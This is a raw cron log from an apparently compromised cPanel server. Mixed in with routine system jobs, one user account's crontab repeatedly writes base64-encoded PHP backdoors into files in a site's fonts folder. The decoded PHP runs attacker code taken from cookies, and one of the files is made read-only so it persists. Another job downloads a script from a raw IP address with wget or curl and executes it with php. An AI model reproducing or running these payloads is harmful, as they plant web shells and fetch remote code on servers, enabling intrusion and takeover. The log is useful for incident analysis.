Sep  2 00:44:01 ip-184-168-122-23 CROND[16379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:44:01 ip-184-168-122-23 CROND[16377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:45:01 ip-184-168-122-23 CROND[16526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:45:01 ip-184-168-122-23 CROND[16528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:45:01 ip-184-168-122-23 CROND[16529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:45:01 ip-184-168-122-23 CROND[16531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:45:01 ip-184-168-122-23 CROND[16530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:45:01 ip-184-168-122-23 CROND[16533]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  2 00:45:01 ip-184-168-122-23 CROND[16534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:46:01 ip-184-168-122-23 CROND[16659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:46:01 ip-184-168-122-23 CROND[16662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:46:01 ip-184-168-122-23 CROND[16661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:46:01 ip-184-168-122-23 CROND[16663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:46:01 ip-184-168-122-23 CROND[16664]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 00:46:01 ip-184-168-122-23 CROND[16666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:46:01 ip-184-168-122-23 CROND[16667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:47:01 ip-184-168-122-23 CROND[16773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:47:01 ip-184-168-122-23 CROND[16775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:47:01 ip-184-168-122-23 CROND[16774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:47:01 ip-184-168-122-23 CROND[16777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:48:01 ip-184-168-122-23 CROND[16943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:48:01 ip-184-168-122-23 CROND[16945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:48:01 ip-184-168-122-23 CROND[16946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:48:01 ip-184-168-122-23 CROND[16948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:48:01 ip-184-168-122-23 CROND[16947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:49:01 ip-184-168-122-23 CROND[17031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:49:01 ip-184-168-122-23 CROND[17033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:49:01 ip-184-168-122-23 CROND[17032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:49:01 ip-184-168-122-23 CROND[17034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:50:01 ip-184-168-122-23 CROND[17126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:50:01 ip-184-168-122-23 CROND[17133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:50:01 ip-184-168-122-23 CROND[17130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:50:01 ip-184-168-122-23 CROND[17131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:50:01 ip-184-168-122-23 CROND[17132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:50:01 ip-184-168-122-23 CROND[17135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:50:01 ip-184-168-122-23 CROND[17136]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:50:01 ip-184-168-122-23 CROND[17137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:50:01 ip-184-168-122-23 CROND[17139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:51:01 ip-184-168-122-23 CROND[17246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:51:01 ip-184-168-122-23 CROND[17248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:51:01 ip-184-168-122-23 CROND[17249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:51:01 ip-184-168-122-23 CROND[17247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:52:01 ip-184-168-122-23 CROND[17336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:52:01 ip-184-168-122-23 CROND[17338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:52:01 ip-184-168-122-23 CROND[17341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:52:01 ip-184-168-122-23 CROND[17339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:52:01 ip-184-168-122-23 CROND[17340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:53:01 ip-184-168-122-23 CROND[17427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:53:01 ip-184-168-122-23 CROND[17431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:53:01 ip-184-168-122-23 CROND[17429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:53:01 ip-184-168-122-23 CROND[17430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:54:01 ip-184-168-122-23 CROND[17530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:54:01 ip-184-168-122-23 CROND[17532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:54:01 ip-184-168-122-23 CROND[17534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:54:01 ip-184-168-122-23 CROND[17533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:54:01 ip-184-168-122-23 CROND[17539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:55:01 ip-184-168-122-23 CROND[17631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:55:01 ip-184-168-122-23 CROND[17633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:55:01 ip-184-168-122-23 CROND[17636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:55:01 ip-184-168-122-23 CROND[17637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:55:01 ip-184-168-122-23 CROND[17635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:55:01 ip-184-168-122-23 CROND[17634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:56:01 ip-184-168-122-23 CROND[17733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:56:01 ip-184-168-122-23 CROND[17735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:56:01 ip-184-168-122-23 CROND[17736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:56:01 ip-184-168-122-23 CROND[17737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
